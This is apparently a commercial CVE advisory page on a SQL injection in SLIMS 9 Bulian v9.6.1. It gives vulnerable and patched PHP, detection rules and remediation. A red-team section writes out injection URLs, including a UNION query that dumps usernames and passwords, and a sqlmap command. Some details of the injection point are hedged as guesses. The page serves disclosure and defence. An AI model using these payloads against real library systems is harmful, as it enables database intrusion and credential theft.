CVE-2024-25288
Executive Summary
CVE-2024-25288 identifies a critical SQL Injection vulnerability in SLIMS (Senayan Library Management Systems) 9 Bulian v9.6.1. The flaw resides in the pop-scope-vocabolary.php file, allowing unauthenticated remote attackers to inject arbitrary SQL commands. This can lead to unauthorized data access, modification, or complete database compromise. The vulnerability is publicly known with proof-of-concept details available, but no official patch has been released as of this report. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the ease of exploitation and potential impact.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex steps are required.
- Privileges Required (PR): None – No authentication is needed.
- User Interaction (UI): None – The victim does not need to perform any action.
- Scope (S): Unchanged – The exploit does not affect other components.
- Confidentiality (C): High – Full database read access is possible.
- Integrity (I): High – Data can be modified or deleted.
- Availability (A): High – The database can be disrupted or destroyed.
Threat Level: Critical. The combination of network exploitability, no authentication, and full impact on confidentiality, integrity, and availability makes this a severe threat.
Deep Dive & Mechanics
The vulnerability is a classic SQL Injection in the pop-scope-vocabolary.php script. This script likely handles AJAX requests for vocabulary scope selection in the library management system. The injection point is in a GET or POST parameter (commonly vocabolaryID or similar) that is directly concatenated into an SQL query without proper sanitization or parameterization.
Technical Details:
- Vulnerable File:
admin/modules/reporting/pop-scope-vocabolary.php - Injection Point: The
vocabolaryIDparameter (or equivalent) is passed unsanitized into an SQL query. - Attack Vector: An attacker sends a crafted HTTP request to the vulnerable endpoint with malicious SQL payloads.
- Impact: Successful exploitation allows an attacker to:
- Extract sensitive data (user credentials, library records, system configuration).
- Modify or delete database entries.
- Potentially escalate to operating system command execution via
xp_cmdshell(if SQL Server) orINTO OUTFILE(if MySQL) depending on database permissions.
Example Payload:
GET /slims9/admin/modules/reporting/pop-scope-vocabolary.php?vocabolaryID=1' OR '1'='1' -- -
This would return all records from the related table, confirming the injection.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<?php
$vocabolaryID = $_GET['vocabolaryID'];
$query = "SELECT * FROM vocabolaries WHERE id = $vocabolaryID";
$result = mysqli_query($conn, $query);
?>
Patched Code (Conceptual):
<?php
$vocabolaryID = intval($_GET['vocabolaryID']);
$query = "SELECT * FROM vocabolaries WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $vocabolaryID);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>
The patched version uses parameterized queries (prepared statements) to ensure user input is treated as data, not executable code. Additionally, input validation (e.g., intval()) adds a layer of defense.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running SLIMS 9 Bulian v9.6.1.
- Network access to the vulnerable endpoint.
Exploitation Steps:
- Identify the vulnerable endpoint:
http://target/slims9/admin/modules/reporting/pop-scope-vocabolary.php - Test for SQL Injection:
If an error or unexpected output appears, the parameter is injectable.http://target/slims9/admin/modules/reporting/pop-scope-vocabolary.php?vocabolaryID=1' - Extract database information:
- Determine the number of columns:
http://target/slims9/admin/modules/reporting/pop-scope-vocabolary.php?vocabolaryID=1 ORDER BY 1-- - - Extract database version:
http://target/slims9/admin/modules/reporting/pop-scope-vocabolary.php?vocabolaryID=1 UNION SELECT @@version,2,3-- -
- Determine the number of columns:
- Dump credentials:
http://target/slims9/admin/modules/reporting/pop-scope-vocabolary.php?vocabolaryID=1 UNION SELECT username,password,3 FROM users-- -
Automated Exploitation (sqlmap):
sqlmap -u "http://target/slims9/admin/modules/reporting/pop-scope-vocabolary.php?vocabolaryID=1" --batch --dbs
Blue Team (Defensive)
Detection & Response:
- Monitor web server logs for suspicious SQL keywords in GET/POST parameters (e.g.,
UNION,SELECT,OR,--). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Implement database activity monitoring to detect anomalous queries.
- Restrict database user permissions to least privilege (e.g., no
FILE,EXECUTE, orDROPprivileges).
Honeypot Strategy:
- Create a fake
pop-scope-vocabolary.phpendpoint that logs all requests and alerts on SQL-like patterns.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/slims9/admin/modules/reporting/pop-scope-vocabolary.phpwith parameters containing SQL keywords. - Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
File IOCs:
- Modified
pop-scope-vocabolary.phpfile (if attacker uploads a backdoor). - Suspicious files in the
admin/modules/reporting/directory.
Log IOCs:
- Web server logs showing repeated requests with
UNION,SELECT,OR,--in the query string. - Database logs showing queries with unexpected UNION or OR clauses.
Detection Engineering
YARA Rule
rule CVE_2024_25288_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-25288 in SLIMS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-25288"
strings:
$s1 = "pop-scope-vocabolary.php" nocase
$s2 = "vocabolaryID=" nocase
$sqli1 = /vocabolaryID=.*['\"]\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i
$sqli2 = /vocabolaryID=.*\b(OR|AND)\b\s+\d+\s*=\s*\d+/i
condition:
$s1 and $s2 and ($sqli1 or $sqli2)
}
Sigma Rule
title: CVE-2024-25288 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against SLIMS pop-scope-vocabolary.php
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-25288
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'pop-scope-vocabolary.php'
cs-uri-query|re: '(vocabolaryID=.*['\''\"]\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#))'
condition: selection
falsepositives:
- Legitimate use of special characters in search terms (unlikely)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2024-25288 SQL Injection Attempt";
flow:to_server,established;
content:"GET";
http_method;
content:"pop-scope-vocabolary.php";
http_uri;
pcre:"/vocabolaryID=.*['\''\"]\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
reference:cve,2024-25288;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the system: If possible, take the vulnerable SLIMS instance offline or restrict network access to trusted IPs only.
- Apply input validation: Manually patch
pop-scope-vocabolary.phpto use prepared statements or parameterized queries. - Deploy WAF rules: Block requests containing SQL injection patterns to the vulnerable endpoint.
Long-term Fix:
- Upgrade to a patched version of SLIMS once available (monitor vendor for updates).
- Conduct a full security audit of the application for similar vulnerabilities.
- Implement secure coding practices (e.g., use ORM frameworks, input validation, least privilege database accounts).
Workaround:
- Disable the vulnerable module if not essential.
- Use a reverse proxy to filter malicious requests.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.